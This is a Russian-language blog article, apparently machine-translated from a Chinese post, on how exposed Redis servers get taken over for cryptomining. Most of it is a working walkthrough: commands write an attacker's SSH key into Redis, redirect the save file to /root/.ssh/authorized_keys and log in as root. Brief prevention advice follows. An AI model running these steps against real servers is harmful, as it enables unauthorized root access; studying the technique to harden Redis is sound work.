Какого черта! Статья, чтобы понять принцип майнинга Redis и как его предотвратить

Redis задняя часть

На автора также напал вирус майнинга, и это очень неудобно, но на самом деле, если вы понимаете способы вторжения, его очень легко предотвратить.Сегодня мы продемонстрируем, как получить root-пользователя удаленный сервер путем эскалации прав через Redis.

1. Сначала нам нужны некоторые предварительные условия

  • Условие 1: сначала у вас должен быть Redis, и нам нужно знать его порт [по умолчанию 6379];

  • Условие 2: пароль Redis не может быть слишком сложным или пароль отсутствует;

  • Условие 3: пользователь, который запускает Redis, предпочтительно является пользователем Root, что более разрушительно;

2. Начните делать что-то

  • 2.1 Создайте пару ключей

Сгенерируйте пару через ssh-keygen, конечно можно без проблем использовать то, что у вас уже есть.

root@kali:/usr/local/src# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa

Затем сгенерируйте значение ключа атаки через открытый ключ.

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

Содержание выглядит следующим образом

root@kali:/tmp/rediskey# cat foo.txtssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

Здесь две новые строки добавляются до и после, чтобы предотвратить соединение данных вместе и вызвать проблему сбоя.

  • 2.2 Настройка ключа для Redis

Операция выглядит следующим образом:

root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set barOK

Войдите в Redis, чтобы проверить, было ли оно записано в Redis.

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129192.168.243.129:6379> get bar"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
  • 2.3 Замена системных файлов с помощью механизма сохранения Redis

И увидеть следующую операцию

192.168.243.129:6379> config set dir /root/.sshOK192.168.243.129:6379> config get dir1) "dir"2) "/root/.ssh"192.168.243.129:6379> config set dbfilename "authorized_keys"OK192.168.243.129:6379> saveOK192.168.243.129:6379> exit

В это время мы входим на удаленный хост, чтобы увидеть эффект.

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1root@kali:~# 

Ок, вот мы успешно подняли права, тогда посмотрим, что за файл экспорта? По сути, это форма файла сохранения Redis. Если вам интересно, вы можете открыть его и посмотреть сами. Здесь он не будет показан.

3. Как предотвратить

Сила этой уязвимости все еще довольно велика, мы сейчас получаем только одно разрешение хоста и добавляем его в запланированную задачу для выполнения каких-то скриптов, а затем заражаем пачками?

Методы профилактики следующие:

  • Не контролируйте Redis на опасных IP-адресах. Если это так, добавьте контроль брандмауэра;

  • Redis должен увеличить ограничения на пароли и не может быть слабыми паролями;

  • Старайтесь не запускать Redis от имени пользователя root.

Выполните три вышеуказанных пункта, чтобы предотвратить майнинг Redis, без проблем.

Источник: cnblogs.com/evan-blog/p/10707087.html.

PS: Чтобы эту статью не нашли, вы можете добавить ее в закладки и поставить лайк, чтобы ее было легко просматривать и находить.